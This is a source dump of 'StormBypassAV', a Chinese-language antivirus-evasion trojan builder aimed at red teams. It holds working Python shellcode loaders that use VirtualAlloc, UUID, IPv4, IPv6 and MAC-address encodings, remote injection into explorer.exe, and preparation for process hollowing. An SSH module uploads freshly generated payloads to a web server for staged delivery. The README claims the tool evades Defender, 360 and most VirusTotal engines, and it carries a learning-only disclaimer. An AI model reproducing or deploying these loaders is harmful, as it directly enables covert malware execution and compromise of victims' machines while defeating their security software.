├── lib ├── __init__.py ├── __pycache__ │ ├── SSHServer.cpython-37.pyc │ └── __init__.cpython-37.pyc └── SSHServer.py ├── temp └── __init__.py ├── Encoder ├── __init__.py ├── __pycache__ │ ├── __init__.cpython-37.pyc │ └── base64Enc.cpython-37.pyc └── base64Enc.py ├── shellcodeLoader ├── __init__.py ├── __pycache__ │ ├── __init__.cpython-37.pyc │ ├── VirtualAlloc1.cpython-37.pyc │ ├── ProcessHollowing.cpython-37.pyc │ └── ProcessHollowingSave.cpython-37.pyc ├── VirtualAlloc1.py ├── uuidLoader.py ├── VirtualAlloc2.py ├── RemoteInject.py ├── ProcessHollowingSave.py ├── ipv6Loader.py ├── ipv4Loader.py ├── macLoader.py └── ProcessHollowing.py ├── config ├── ico.png ├── artifact.exe ├── csartifacet.exe └── payloadJQuery.py ├── requirements.txt ├── README.md ├── shellcoder.py ├── cmdcoder.py ├── TrojanCreater.py └── StormBypassAV.py /lib/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /temp/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Encoder/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /shellcodeLoader/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /config/ico.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StormEyePro/StormBypassAV/HEAD/config/ico.png -------------------------------------------------------------------------------- /config/artifact.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StormEyePro/StormBypassAV/HEAD/config/artifact.exe -------------------------------------------------------------------------------- /config/csartifacet.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StormEyePro/StormBypassAV/HEAD/config/csartifacet.exe -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | paramiko==2.9.2 2 | six==1.16.0 3 | PyQt5==5.15.6 4 | PyInstaller==5.10.1 5 | tinyaes==1.0.4 6 | requests==2.27.1 -------------------------------------------------------------------------------- /lib/__pycache__/SSHServer.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StormEyePro/StormBypassAV/HEAD/lib/__pycache__/SSHServer.cpython-37.pyc -------------------------------------------------------------------------------- /lib/__pycache__/__init__.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StormEyePro/StormBypassAV/HEAD/lib/__pycache__/__init__.cpython-37.pyc -------------------------------------------------------------------------------- /Encoder/__pycache__/__init__.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StormEyePro/StormBypassAV/HEAD/Encoder/__pycache__/__init__.cpython-37.pyc -------------------------------------------------------------------------------- /Encoder/__pycache__/base64Enc.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StormEyePro/StormBypassAV/HEAD/Encoder/__pycache__/base64Enc.cpython-37.pyc -------------------------------------------------------------------------------- /shellcodeLoader/__pycache__/__init__.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StormEyePro/StormBypassAV/HEAD/shellcodeLoader/__pycache__/__init__.cpython-37.pyc -------------------------------------------------------------------------------- /shellcodeLoader/__pycache__/VirtualAlloc1.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StormEyePro/StormBypassAV/HEAD/shellcodeLoader/__pycache__/VirtualAlloc1.cpython-37.pyc -------------------------------------------------------------------------------- /shellcodeLoader/__pycache__/ProcessHollowing.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StormEyePro/StormBypassAV/HEAD/shellcodeLoader/__pycache__/ProcessHollowing.cpython-37.pyc -------------------------------------------------------------------------------- /shellcodeLoader/__pycache__/ProcessHollowingSave.cpython-37.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StormEyePro/StormBypassAV/HEAD/shellcodeLoader/__pycache__/ProcessHollowingSave.cpython-37.pyc -------------------------------------------------------------------------------- /shellcodeLoader/VirtualAlloc1.py: -------------------------------------------------------------------------------- 1 | import ctypes 2 | import sys 3 | 4 | info='使用VirtualAlloc动态申请内存-》RtlMoveMemory将shellcode拷贝入申请空间-》CreateThread创建线程运行' 5 | 6 | 7 | 8 | def main(buf): 9 | if isinstance(buf,str): 10 | buf=buf.encode('latin1') #确保buf是unicode,此处是为了兼容CS和MSF 11 | 12 | # print(buf) 13 | shellcode=bytearray(buf) 14 | #设置返回类型 15 | ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64 16 | #使用VirtualAlloc这个API函数申请一块内存,返回值是一个指针地址ptr 17 | ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000),ctypes.c_int(0x40)) 18 | #使用RtlMoveMemory这个API,把shellcode复制到ptr这个地址所在的内存空间。 19 | ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode))) 20 | #在ptr这个指针所在的内存空间创建线程运行 21 | handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_uint64(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0))) 22 | #等待执行结束 23 | ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1)) 24 | 25 | 26 | if __name__ == '__main__': 27 | import shellcoder 28 | buf=shellcoder.main('','',r"C:\Users\d\Desktop\hack\payloadJQuery.py",'','',True) 29 | print('buf:\n',buf) 30 | 31 | if not buf: 32 | sys.exit() 33 | else: 34 | 35 | main(buf) -------------------------------------------------------------------------------- /shellcodeLoader/uuidLoader.py: -------------------------------------------------------------------------------- 1 | import ctypes 2 | import sys 3 | import uuid 4 | 5 | info="uuid加载器使用VirtualAlloc的内存申请方式,配合UuidFromStringW这个函数,可以直接将uuid格式的shellcode加载进内存,一定作用上规避杀毒软件检测,但本质上的作用和shellcode加密类似,只是改变了加载时的shellcode,写入内存后的内容依然是还原的shellcode,所以效果有限。" 6 | 7 | 8 | def getuuid(scode): 9 | 10 | _=len(scode)%16 11 | if _!=0: 12 | scode+=b'\x00'*(16-_) 13 | print(len(scode)) 14 | list = [] 15 | for i in range(int(len(scode)/16)): 16 | bytes_a = scode[i*16:16+i*16] 17 | b = uuid.UUID(bytes_le=bytes_a) 18 | list.append(str(b)) 19 | return list 20 | 21 | def main(buf): 22 | if isinstance(buf,str): 23 | buf=buf.encode('latin1') #确保buf是unicode,此处是为了兼容CS和MSF 24 | 25 | #将shellcode转换为uuid形式 26 | shellcode=getuuid(buf) 27 | 28 | #VirtualAlloc动态申请内存 29 | ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64 30 | ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)*16), ctypes.c_int(0x3000),ctypes.c_int(0x40)) 31 | 32 | #将UUID形式的shellcode写入内存 33 | rwxpage1 = ptr 34 | for i in shellcode: 35 | a=ctypes.windll.Rpcrt4.UuidFromStringW(i,ctypes.c_uint64(rwxpage1)) 36 | rwxpage1+=16 37 | 38 | #创建进程运行shellcode 39 | handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0))) 40 | 41 | #等待执行 42 | ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1)) 43 | 44 | 45 | if __name__ == '__main__': 46 | import shellcoder 47 | buf=shellcoder.main('','',r"C:\Users\d\Desktop\hack\payloadJQuery.py",'','',True) 48 | print('buf:\n',buf) 49 | 50 | if not buf: 51 | sys.exit() 52 | else: 53 | 54 | main(buf) -------------------------------------------------------------------------------- /shellcodeLoader/VirtualAlloc2.py: -------------------------------------------------------------------------------- 1 | import ctypes 2 | import sys 3 | 4 | info='使用VirtualAlloc动态申请读写权限的内存 -> VirtualProtect修改内存的权限为读写执行 -> RtlMoveMemory将shellcode拷贝入申请空间-》CreateThread创建线程运行' 5 | 6 | def main(buf): 7 | if isinstance(buf,str): 8 | buf=buf.encode('latin1') #确保buf是unicode,此处是为了兼容CS和MSF 9 | 10 | shellcode=bytearray(buf) 11 | 12 | #定义返回类型 13 | ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64 14 | 15 | #VirtualAlloc申请一块内存空间,只是普通的读写权限 16 | ptr = ctypes.windll.kernel32.VirtualAlloc( 17 | ctypes.c_int(0), 18 | ctypes.c_int(len(shellcode)), 19 | ctypes.c_int(0x3000), 20 | ctypes.c_int(0x04), #这个地方的权限不同 21 | ) 22 | 23 | buffer = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) 24 | ctypes.windll.kernel32.VirtualProtect( 25 | ctypes.c_uint64(ptr), 26 | ctypes.c_int(len(shellcode)), 27 | 0x40, 28 | ctypes.pointer(ctypes.c_int(1)) 29 | ) 30 | #把shellcode写入内存 31 | ctypes.windll.kernel32.RtlMoveMemory( 32 | ctypes.c_uint64(ptr), 33 | buffer, 34 | ctypes.c_int(len(shellcode)) 35 | ) 36 | 37 | #创建线程执行shellcode 38 | handle = ctypes.windll.kernel32.CreateThread( 39 | ctypes.pointer(ctypes.c_int(0)), 40 | ctypes.c_int(0), 41 | ctypes.c_void_p(ptr), 42 | ctypes.pointer(ctypes.c_int(0)), 43 | ctypes.c_int(0), 44 | ctypes.pointer(ctypes.c_int(0)) 45 | ) 46 | #等待执行 47 | ctypes.windll.kernel32.WaitForSingleObject( 48 | ctypes.c_int(handle), 49 | ctypes.c_int(-1) 50 | ) 51 | 52 | if __name__ == '__main__': 53 | import shellcoder 54 | buf=shellcoder.main('','',r"C:\Users\d\Desktop\hack\payloadJQuery.py",'','',True) 55 | print('buf:\n',buf) 56 | 57 | if not buf: 58 | sys.exit() 59 | else: 60 | 61 | main(buf) -------------------------------------------------------------------------------- /shellcodeLoader/RemoteInject.py: -------------------------------------------------------------------------------- 1 | import time 2 | import ctypes 3 | import sys 4 | import subprocess 5 | 6 | info="windows提供了一系列API可以实现进程注入功能,向目标进程注入shellcode后,shellcode在目标进程中运行,配合删除源文件和shellcode网络分离可以做到很好的隐蔽性,但容易被杀软查杀" 7 | 8 | 9 | def findPid(proName='explorer'): 10 | cmd=f"tasklist | findstr {proName}" 11 | out=subprocess.Popen(cmd,shell=True,stdout=subprocess.PIPE) 12 | infos=out.stdout.read().splitlines() 13 | pidlist=[] 14 | if len(infos) >=1: 15 | for i in infos: 16 | pid=i.split()[1] 17 | if pid not in pidlist: 18 | pidlist.append(int(pid)) 19 | return pidlist 20 | else: 21 | return -1 22 | 23 | def main(buf,process='explorer.exe'): 24 | pid=findPid(process)[0] 25 | print('???',pid) 26 | if not pid: 27 | print('no pid find') 28 | return 29 | if isinstance(buf,str): 30 | buf=buf.encode('latin1') #确保buf是unicode,此处是为了兼容CS和MSF 31 | PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF) 32 | h_process = ctypes.windll.kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, pid) 33 | if h_process: 34 | shellcode = bytearray(buf) 35 | arg_address = ctypes.windll.kernel32.VirtualAllocEx(h_process,0,len(shellcode),0x3000,0x40) 36 | shellcode = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) 37 | ctypes.windll.kernel32.WriteProcessMemory(h_process, arg_address, shellcode,len(shellcode), 0) 38 | if not ctypes.windll.kernel32.CreateRemoteThread(h_process,None,0,arg_address,None,0,ctypes.byref(ctypes.c_ulong(0))): 39 | print("create thread false") 40 | sys.exit() 41 | else: 42 | print("open the process false") 43 | sys.exit() 44 | 45 | ctypes.windll.kernel32.CloseHandle(h_process) 46 | time.sleep(100) 47 | sys.exit(0) 48 | 49 | 50 | if __name__ == '__main__': 51 | import shellcoder 52 | buf=shellcoder.main('','',r"D:\BaiduSyncdisk\dyb\a_penetration\kali_tools\my_project\project\BypassAV\StormBypassAV\config\payloadJQuery.py",'','',True) 53 | print('buf:\n',buf) 54 | 55 | if not buf: 56 | sys.exit() 57 | else: 58 | 59 | main(buf) -------------------------------------------------------------------------------- /shellcodeLoader/ProcessHollowingSave.py: -------------------------------------------------------------------------------- 1 | import json 2 | import pefile 3 | import os 4 | import sys 5 | sys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) 6 | 7 | 8 | payloadSaveFile=os.path.dirname(os.path.dirname(os.path.abspath(__file__)))+os.sep+'temp'+os.sep+'PayloadFile' 9 | try: 10 | os.makedirs(os.path.dirname(payloadSaveFile)) 11 | except: 12 | pass 13 | 14 | def writePayload(PAYLOAD_EXE): 15 | pe_payload = pefile.PE(PAYLOAD_EXE) 16 | PE_TYPE=pe_payload.PE_TYPE 17 | ImageBase=pe_payload.OPTIONAL_HEADER.ImageBase 18 | SizeOfImage=pe_payload.OPTIONAL_HEADER.SizeOfImage 19 | SizeOfHeaders=pe_payload.OPTIONAL_HEADER.SizeOfHeaders 20 | AddressOfEntryPoint=pe_payload.OPTIONAL_HEADER.AddressOfEntryPoint 21 | get_field_absolute_offset=pe_payload.OPTIONAL_HEADER.get_field_absolute_offset("ImageBase") 22 | 23 | 24 | with open(PAYLOAD_EXE, "rb") as h_payload: 25 | payload_data = h_payload.read().decode('latin1') 26 | 27 | sections=[] 28 | for section in pe_payload.sections: 29 | dic_=dict() 30 | dic_['sectionName']=section.Name.decode("utf-8").strip("\x00") 31 | dic_['sectionVirtualAddress']=section.VirtualAddress 32 | dic_['sectionPointerToRawData']=section.PointerToRawData 33 | dic_['sectionSizeOfRawData']=section.SizeOfRawData 34 | sections.append(dic_) 35 | 36 | # print(sections) 37 | 38 | payload={'PE_TYPE':PE_TYPE,'ImageBase':ImageBase,'SizeOfImage':SizeOfImage,'SizeOfHeaders':SizeOfHeaders,'AddressOfEntryPoint':AddressOfEntryPoint,'get_field_absolute_offset':get_field_absolute_offset,'payload_data':payload_data,'sections':sections} 39 | with open(payloadSaveFile,'w') as f: 40 | json.dump(payload,f) 41 | 42 | return PE_TYPE,ImageBase,SizeOfImage,SizeOfHeaders,AddressOfEntryPoint,get_field_absolute_offset,payload_data,sections 43 | 44 | def getPayload(payloadFile): 45 | 46 | writePayload(payloadFile) 47 | 48 | with open(payloadSaveFile,'r') as f: 49 | value=json.load(f) 50 | # print(value) 51 | return value 52 | # return value['PE_TYPE'],value['ImageBase'],value['SizeOfImage'],value['SizeOfHeaders'],value['AddressOfEntryPoint'],value['get_field_absolute_offset'],value['payload_data'].encode('latin1'),value['sections'] 53 | 54 | 55 | 56 | if __name__ == '__main__': 57 | PAYLOAD_EXE = r"D:\BaiduSyncdisk\dyb\a_penetration\kali_tools\my_project\project\BypassAV\掩月\config\artifact.exe" 58 | writePayload(PAYLOAD_EXE) #将artifact.exe的内容提取出来,保存到payload文件中 59 | getPayload() -------------------------------------------------------------------------------- /shellcodeLoader/ipv6Loader.py: -------------------------------------------------------------------------------- 1 | import ctypes 2 | import sys 3 | 4 | info="ipv6加载器使用AllocADsMem+ReallocADsMem的内存申请方式,配合RtlIpv6StringToAddressW这个函数,可以直接将ipv6格式的shellcode加载进内存,一定作用上规避杀毒软件检测,但本质上的作用shellcode加密类似,只是改变了加载时的shellcode,写入内存后的内容依然是还原的shellcode,所以效果有限。" 5 | 6 | def main(shellcode): 7 | #定义main方法,最终生成的木马脚本需要从main方法开始执行,也可以定义其它方法从main中调用。所有自定义方法都会被写到最终的木马脚本 8 | if isinstance(shellcode,str): 9 | shellcode=shellcode.encode('latin1') #确保buf是unicode,此处是为了兼容CS和MSF 10 | 11 | if len(shellcode) % 16 != 0: 12 | null_byte = b'\x00' * (16 - len(shellcode) % 16) 13 | shellcode += null_byte 14 | 15 | ctypes.windll.Activeds.AllocADsMem.restype = ctypes.c_uint64 16 | ptr_alloc_1 = ctypes.windll.Activeds.AllocADsMem(ctypes.c_int(len(shellcode) // 16 * 40)) 17 | ctypes.windll.Activeds.ReallocADsMem.restype = ctypes.c_uint64 18 | ptr_realloc_1 = ctypes.windll.Activeds.ReallocADsMem(ctypes.c_uint64(ptr_alloc_1), ctypes.c_int(len(shellcode) // 16 * 40), ctypes.c_int(len(shellcode) // 16 * 40)) 19 | ctypes.windll.kernel32.VirtualProtect(ctypes.c_uint64(ptr_realloc_1), ctypes.c_int(len(shellcode) // 16 * 40), 0x40, ctypes.byref(ctypes.c_long(1))) 20 | 21 | for i in range(len(shellcode) // 16): 22 | bytes_shellcode = shellcode[i * 16: 16 + i * 16] 23 | ctypes.windll.Ntdll.RtlIpv6AddressToStringA(bytes_shellcode, ctypes.c_uint64(ptr_realloc_1 + i * 40)) 24 | 25 | ipv6_list = [] 26 | for i in range(len(shellcode) // 16): 27 | ipv6 = ctypes.string_at(ptr_realloc_1 + i * 40, 40) 28 | ipv6=ipv6.decode('latin1').strip('\x00') 29 | ipv6_list.append(ipv6) 30 | print(ipv6_list) 31 | 32 | ptr_alloc_2 = ctypes.windll.Activeds.AllocADsMem(ctypes.c_int(len(shellcode))) 33 | ptr_realloc_2 = ctypes.windll.Activeds.ReallocADsMem(ctypes.c_uint64(ptr_alloc_2), ctypes.c_int(len(shellcode)), ctypes.c_int(len(shellcode))) 34 | ctypes.windll.kernel32.VirtualProtect(ctypes.c_uint64(ptr_realloc_2), ctypes.c_int(len(shellcode)), 0x40, ctypes.byref(ctypes.c_long(1))) 35 | 36 | rwxpage = ptr_realloc_2 37 | for i in range(len(ipv6_list)): 38 | ctypes.windll.Ntdll.RtlIpv6StringToAddressW(ipv6_list[i], ipv6_list[i], ctypes.c_uint64(rwxpage)) 39 | rwxpage += 16 40 | 41 | ctypes.windll.kernel32.EnumSystemLocalesW(ctypes.c_uint64(ptr_realloc_2), 0) 42 | 43 | if __name__ == '__main__': 44 | import shellcoder 45 | buf=shellcoder.main('','',r"C:\Users\d\Desktop\hack\payloadJQuery.py",'','',True) 46 | print('buf:\n',buf) 47 | 48 | if not buf: 49 | sys.exit() 50 | else: 51 | 52 | main(buf) -------------------------------------------------------------------------------- /shellcodeLoader/ipv4Loader.py: -------------------------------------------------------------------------------- 1 | import ctypes 2 | import sys 3 | 4 | info="ipv4加载器使用AllocADsMem+ReallocADsMem的内存申请方式,配合RtlIpv4StringToAddressW这个函数,可以直接将ipv4格式的shellcode加载进内存,一定作用上规避杀毒软件检测,但本质上的作用shellcode加密类似,只是改变了加载时的shellcode,写入内存后的内容依然是还原的shellcode,所以效果有限。" 5 | 6 | def main(shellcode): 7 | #定义main方法,最终生成的木马脚本需要从main方法开始执行,也可以定义其它方法从main中调用。所有自定义方法都会被写到最终的木马脚本 8 | if isinstance(shellcode,str): 9 | shellcode=shellcode.encode('latin1') #确保buf是unicode,此处是为了兼容CS和MSF 10 | 11 | if len(shellcode) % 4 != 0: 12 | null_byte = b'\x00' * (4 - len(shellcode) % 4) 13 | shellcode += null_byte 14 | 15 | ctypes.windll.Activeds.AllocADsMem.restype = ctypes.c_uint64 16 | ptr_alloc_1 = ctypes.windll.Activeds.AllocADsMem(ctypes.c_int(len(shellcode) // 4 * 16)) 17 | ctypes.windll.Activeds.ReallocADsMem.restype = ctypes.c_uint64 18 | ptr_realloc_1 = ctypes.windll.Activeds.ReallocADsMem(ctypes.c_uint64(ptr_alloc_1), len(shellcode) // 4 * 16, len(shellcode) // 4 * 16) 19 | ctypes.windll.kernel32.VirtualProtect(ctypes.c_uint64(ptr_realloc_1), ctypes.c_int(len(shellcode) // 4 * 16), 0x40, ctypes.byref(ctypes.c_long(1))) 20 | 21 | for i in range(len(shellcode) // 4): 22 | bytes_shellcode = shellcode[i * 4: 4 + i * 4] 23 | ctypes.windll.Ntdll.RtlIpv4AddressToStringA(bytes_shellcode, ctypes.c_uint64(ptr_realloc_1 + i * 16)) 24 | 25 | ipv4_list = [] 26 | for i in range(len(shellcode) // 4): 27 | ipv4 = ctypes.string_at(ptr_realloc_1 + i * 16, 16) 28 | ipv4=ipv4.decode('latin1').strip('\x00') 29 | ipv4_list.append(ipv4) 30 | 31 | print(ipv4_list) 32 | ptr_alloc_2 = ctypes.windll.Activeds.AllocADsMem(ctypes.c_int(len(shellcode))) 33 | ptr_realloc_2 = ctypes.windll.Activeds.ReallocADsMem(ctypes.c_uint64(ptr_alloc_2), ctypes.c_int(len(shellcode)), ctypes.c_int(len(shellcode))) 34 | ctypes.windll.kernel32.VirtualProtect(ctypes.c_uint64(ptr_realloc_2), ctypes.c_int(len(shellcode)), ctypes.c_int(0x40), ctypes.byref(ctypes.c_long(1))) 35 | 36 | rwxpage = ptr_realloc_2 37 | for i in range(len(ipv4_list)): 38 | 39 | ctypes.windll.Ntdll.RtlIpv4StringToAddressW(ipv4_list[i], ctypes.c_bool(False), ipv4_list[i], ctypes.c_uint64(rwxpage)) 40 | rwxpage += 4 41 | 42 | ctypes.windll.kernel32.EnumSystemLocalesW(ctypes.c_uint64(ptr_realloc_2), 0) 43 | 44 | if __name__ == '__main__': 45 | 46 | import shellcoder 47 | buf=shellcoder.main('','',r"C:\Users\d\Desktop\hack\payloadJQuery.py",'','',True) 48 | print('buf:\n',buf) 49 | 50 | if not buf: 51 | sys.exit() 52 | else: 53 | 54 | main(buf) -------------------------------------------------------------------------------- /shellcodeLoader/macLoader.py: -------------------------------------------------------------------------------- 1 | #encoding:utf-8 2 | import ctypes 3 | import sys 4 | 5 | info="mac加载器使用的内存申请和数据拷贝方式,配合RtlEthernetStringToAddressW这个函数,可以直接将mac格式的shellcode加载进内存,一定作用上规避杀毒软件检测,但本质上的作用shellcode加密类似,只是改变了加载时的shellcode,写入内存后的内容依然是还原的shellcode,所以效果有限。" 6 | 7 | def main(shellcode): 8 | #定义main方法,最终生成的木马脚本需要从main方法开始执行,也可以定义其它方法从main中调用。所有自定义方法都会被写到最终的木马脚本 9 | if isinstance(shellcode,str): 10 | shellcode=shellcode.encode('latin1') #确保buf是unicode,此处是为了兼容CS和MSF 11 | 12 | 13 | if len(shellcode) % 16 != 0: 14 | null_byte = b'\x00' * (16 - len(shellcode) % 16) 15 | shellcode += null_byte 16 | 17 | ctypes.windll.Activeds.AllocADsMem.restype = ctypes.c_uint64 18 | ptr_alloc_1 = ctypes.windll.Activeds.AllocADsMem(ctypes.c_int(len(shellcode) // 6 * 17)) 19 | ctypes.windll.Activeds.ReallocADsMem.restype = ctypes.c_uint64 20 | ptr_realloc_1 = ctypes.windll.Activeds.ReallocADsMem(ctypes.c_uint64(ptr_alloc_1), ctypes.c_int(len(shellcode) // 6 * 17), ctypes.c_int(len(shellcode) // 6 * 17)) 21 | ctypes.windll.kernel32.VirtualProtect(ctypes.c_uint64(ptr_realloc_1), ctypes.c_int(len(shellcode) // 6 * 17), ctypes.c_int(0x40), ctypes.byref(ctypes.c_long(1))) 22 | 23 | for i in range(len(shellcode) // 6): 24 | bytes_shellcode = shellcode[i * 6: 6 + i * 6] 25 | ctypes.windll.Ntdll.RtlEthernetAddressToStringA(bytes_shellcode, ctypes.c_uint64(ptr_realloc_1 + i * 17)) 26 | 27 | mac_list = [] 28 | for i in range(len(shellcode) // 6): 29 | mac = ctypes.string_at(ptr_realloc_1 + i * 17, ctypes.c_int(17)) 30 | mac=mac.decode('latin1') 31 | mac_list.append(mac) 32 | 33 | ptr_alloc_2 = ctypes.windll.Activeds.AllocADsMem(ctypes.c_int(len(mac_list) * 6)) 34 | ptr_realloc_2 = ctypes.windll.Activeds.ReallocADsMem(ctypes.c_uint64(ptr_alloc_2), ctypes.c_int(len(mac_list) * 6), ctypes.c_int(len(mac_list) * 6)) 35 | ctypes.windll.kernel32.VirtualProtect(ctypes.c_uint64(ptr_realloc_2), ctypes.c_int(len(mac_list) * 6), ctypes.c_int(0x40), ctypes.byref(ctypes.c_long(1))) 36 | 37 | rwxpage = ptr_realloc_2 38 | for i in range(len(mac_list)): 39 | ctypes.windll.Ntdll.RtlEthernetStringToAddressW(mac_list[i], mac_list[i], ctypes.c_uint64(rwxpage)) 40 | rwxpage += 6 41 | 42 | ctypes.windll.kernel32.EnumSystemLocalesW(ctypes.c_uint64(ptr_realloc_2), 0) 43 | 44 | 45 | if __name__ == '__main__': 46 | import shellcoder 47 | buf=shellcoder.main('','',r"C:\Users\d\Desktop\hack\payloadJQuery.py",'','',True) 48 | print('buf:\n',buf) 49 | 50 | if not buf: 51 | sys.exit() 52 | else: 53 | 54 | main(buf) -------------------------------------------------------------------------------- /lib/SSHServer.py: -------------------------------------------------------------------------------- 1 | import os 2 | import configparser 3 | import paramiko 4 | 5 | def main(ip,port,username,password,local_path='../result/PayloadFile',remotepath='/var/www/html'): 6 | # SSH连接信息 7 | ssh_host = ip 8 | ssh_port = port 9 | ssh_user = username 10 | ssh_password = password 11 | 12 | # 本地文件路径和上传目标路径 13 | remotepath=getRemotePath(local_path,remotepath) 14 | 15 | # 创建SSH客户端对象 16 | ssh = paramiko.SSHClient() 17 | ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 18 | 19 | # 连接SSH服务器 20 | ssh.connect(ssh_host, ssh_port, ssh_user, ssh_password) 21 | 22 | # 创建SFTP客户端对象 23 | sftp = ssh.open_sftp() 24 | 25 | # 上传文件 26 | print(local_path) 27 | print(remotepath) 28 | sftp.put(local_path, remotepath) 29 | 30 | # 关闭SFTP客户端和SSH连接 31 | sftp.close() 32 | ssh.close() 33 | 34 | 35 | 36 | 37 | 38 | 39 | def getRemotePath(local_path,remote_path): 40 | local_path = local_path 41 | filename=os.path.basename(local_path) 42 | remote_path=remote_path.rstrip('/')+'/' 43 | remote_path = remote_path+filename 44 | return remote_path 45 | 46 | 47 | 48 | def readConfig(): 49 | try: 50 | configFile=os.path.dirname(os.path.dirname(os.path.abspath(__file__)))+os.sep+'config'+os.sep+'config.ini' 51 | print(configFile) 52 | cf=configparser.ConfigParser() 53 | cf.read(configFile) 54 | host=cf.get('SSH','host') 55 | port=cf.get('SSH','port') 56 | username=cf.get('SSH','username') 57 | password=cf.get('SSH','password') 58 | remotepath=cf.get('SSH','remotepath') 59 | url=cf.get('SSH','url') 60 | except: 61 | return False 62 | 63 | return host,port,username,password,remotepath,url 64 | 65 | 66 | 67 | 68 | def saveConfig(ip,port,username,password,remotepath='/var/www/html',url=''): 69 | configFile=os.path.dirname(os.path.dirname(os.path.abspath(__file__)))+os.sep+'config'+os.sep+'config.ini' 70 | try: 71 | cf=configparser.ConfigParser() 72 | cf['SSH']={ 73 | 'host':ip, 74 | 'port':port, 75 | 'username':username, 76 | 'password':password, 77 | 'remotepath':remotepath, 78 | 'url':url.rstrip('/')+'/' 79 | } 80 | with open(configFile,'w') as f: 81 | cf.write(f) 82 | return False #这里成功和失败是反的 83 | except: 84 | import traceback 85 | return traceback.format_exc() 86 | 87 | if __name__ == '__main__': 88 | main('100.100.100.2',22,'root','root',f"{os.path.dirname(os.path.dirname(os.path.abspath(__file__)))+os.sep+'result'+os.sep+'PayloadFile'}",'/var/www/html') 89 | # v=readConfig() 90 | # print(v) 91 | # saveConfig('100.100.100.2',22,'root','root',r"C:\Users\d\Desktop\hack\1.txt",'/var/www/html') 92 | 93 | # print(testConnect('100.100.100.2',22,'root','root')) 94 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # 风暴免杀 2 | 3 | 工具介绍:https://blog.csdn.net/u013797594/article/details/130502682 4 | 5 | 适用于红队的免杀工具。 6 | 7 | *** 8 | 9 | ## 声明 10 | 11 | *** 12 | 13 | 1.本工具仅限于学习和技术研究,不可用于任何非法用途。 14 | 15 | 16 | 17 | ## 效果 18 | 19 | *** 20 | 21 | > 建议修改CS默认特征增强免杀效果,下面的测试使用了malleable-c2项目中的CS配置文件来修改默认的CS特征。 22 | 23 | 1.使用进程镂空(傀儡进程)winlogon.exe,Defender仅提示病毒威胁选择重启,但不会主动杀掉镂空的winlogon.exe,实现稳定上线。 24 | 25 | ![image-20230501114236799](https://dybimages.oss-cn-chengdu.aliyuncs.com/image-20230501114236799.png) 26 | 27 | 2.360鲲鹏引擎下无感知上线稳定运行 28 | 29 | 30 | 31 | 3.VT查杀率1/69 32 | 33 | ![image-20230501143816011](https://dybimages.oss-cn-chengdu.aliyuncs.com/image-20230501143816011.png) 34 | 35 | 36 | 37 | ## 使用 38 | 39 | *** 40 | 41 | 1.工具使用了python3.7.9 开发,安装相关依赖包: 42 | 43 | ``` 44 | pip3 install -r requirements.txt 45 | python3 StormBypassAV.py 46 | ``` 47 | 48 | 2.支持普通和隐匿2种模式: 49 | 50 | ![image-20230504173245872](https://dybimages.oss-cn-chengdu.aliyuncs.com/image-20230504173245872.png) 51 | 52 | 3.普通模式下使用了几种不同的内存申请/写入内存方式,通过将shellcode和shellcode加载器代码都进行加密实现了不错的免杀效果,并添加一些随机位移使得最终的木马比较难找到静态特征。 53 | 54 | ![image-20230504174832022](https://dybimages.oss-cn-chengdu.aliyuncs.com/image-20230504174832022.png) 55 | 56 | 4.隐匿模式下实现了进程注入和进程镂空(傀儡进程) 57 | 58 | - 进程注入将shellcode注入到指定进程中运行,木马程序本身被杀毒软件检测到后会被删除。 59 | 60 | - 进程镂空通过运行指定程序并挂起,然后将已有的exe木马写入目标进程中运行,杀毒软件检测到的恶意进程是我们运行的目标程序。defender基于行为的监测技术能够发现被镂空的程序在执行恶意指令,因此会主动终止目标程序,但如果是winlogon.exe,它只会提示重启。 61 | 62 | 63 | 64 | 5.实现了本地和网络分离免杀,由于shellcode每次生成的不一样,所以配置菜单中增加了SSH服务器,配置后可以自动将新生产的payload同步到web服务器上 65 | 66 | 67 | 68 | 6.已知bug: 69 | 70 | > 